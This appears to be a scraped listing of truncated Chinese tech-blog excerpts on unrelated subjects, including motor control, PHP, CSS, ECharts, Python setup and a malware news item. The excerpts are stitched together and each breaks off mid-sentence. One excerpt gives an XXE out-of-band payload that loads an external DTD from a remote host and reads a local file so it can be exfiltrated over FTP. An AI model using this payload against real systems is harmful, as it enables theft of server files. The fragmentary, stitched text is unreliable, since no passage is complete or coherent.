之前做电机相关的项目比较少，最近有个项目涉及到步进电机的精确控制，参考了一些资料研究了一下S型曲线加减速，这里总结一下分享给大家。硬件是：STM32驱动器步进电机。STM32定时器输出PWM，控制驱动器来驱动步进电机。单…

本次项目，嵌入式设备读取卡片信息后，需要按照实际情况，将卡片信息正确返回到PC上位机软件中利用。 在制定该上位机通信协议的过程中，为了适应性更强，一共修改了四次。 主要协议内容：（仅上传格式…

1.SOLIDWORKS模型转入ADAMS的格式及导入步骤 首先将零件图或者装配图另存为.parasolid格式，其次将保存好的.parasolid格式文件的后缀改为.xmt_txt。 之所以这样做可以避免模型中多个实体的重复（注意保存路径不要有中文和空格）。 然后点击打开…

本篇讲解了PHP怎样获取字符流中第一个不重复字符。请实现一个函数用来找出字符流中第一个只出现一次的字符。例如，当从字符流中只读出前两个字符”go”时，第一个只出现一次的字符是”g”。当从该字符流中读出前六个字符“google”时，第一个只…

贡献分如下： 转会人员：金东禾 转到队伍：bugphobia转载于:https://www.cnblogs.com/Buaa-software/p/4972487.html

随着Win10正式版的发布，更多的电脑会采用Win10系统来安装，而随之笔记本预装win10系统也会上市，当然对于消费者来说，有时我们需要学会查看电脑配置吧。电脑主要看的是CPU，内存，显示，硬盘等几项下…

在 MMORPG《最终幻想14》的副本“乐欲之所瓯博讷修道院”里，BOSS 机工士姆斯塔迪奥将会接受玩家的挑战。 你需要处理这个副本其中的一个机制：NM 大小的地图被拆分为了 NM 个 11 的格子，BOSS 会选择若干行或/及若干列释放技能，玩家…

经过东北三省的巡讲，终于回家了，深深为东北重工业基地惋惜，我们的父辈曾经整整一代人付出热血和生命的地方如今已纷纷破产改制关门大吉，很为祖国的重工业和软件工业担忧,新一代的中国年青人,谁能挑起民族的脊梁?不说题外话了&…

1.junit coverage单元测试覆盖率使用： 右键，run ‘xx’with Coverage，然后观察行数那里，如果测试覆盖到了，那么这里会出现绿色，如果没有覆盖，就是红色。 2.tomcat配置 run -> edit Config…

逻辑芯片又叫可编程逻辑器件。PLD是做为一种通用集成电路产生的，他的逻辑功能按照用户对器件编程来确定。一般的PLD的集成度很高，足以满足设计一般的数字系统的需要。这样就可以由设计人员自行编程而把一个数字系统“集成”在一片PLD上，而不必…

时隔两年的修改： 问题分析：安装了python，Pycharm还找不到Python解释器，原因是系统环境变量中没有指出Python.exe的位置。 解决办法：找到你安装的Python.exe所在的位置，将其添加至系统环境变量就好了。怎么添…

通过ftp通道将数据传出来。上传1.xml <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.172.128:1234/ext.dtd"><!ENTITY % bbb SYSTEM "file:///E:///1.txt">%aaa;%ccc;%ddd;]> ext.dtd内容如下 <!ENTITY % ccc "…

VueEcharts中力导向图与自定义节点样式展示组装节点数据echarts绘制图片设置属性效果预览 橘黄色节点为主节点自定样式&#xff0c;其余都是子节点 实现步骤&#xff1a; 附主要逻辑代码 组装节点数据 import userself from ../../../../static/img/user-self.png import use…

美国网络安全公司FireEye研究人员发现&#xff0c;最近有不法分子向中东多家银行发送大量包含恶意代码的垃圾邮件&#xff0c;一旦用户打开附件&#xff0c;其中的恶意程序就会盗取银行的网络信息&#xff0c;为后续顺利实施盗窃做准备。 这一消息来自于香港《文汇报》&#xf…

今天继续接着CSS盒子模型补充&#xff0c;CSS基础学习十三&#xff1a;盒子模型和CSS基础学习十四&#xff1a;盒子模型补充之display属 性设置都是介绍了盒子模型中的内容概括。开始今天的主题&#xff1a;外边距合并。 外边距合并指的是&#xff0c;当两个垂直外边距相遇时&…

脑图时刻 基带信号与宽带信号 编码与调制 数字数据编码为数字信号 数字数据调制为模拟信号 模拟数据编码为数字信号 模拟数据调制为模拟信号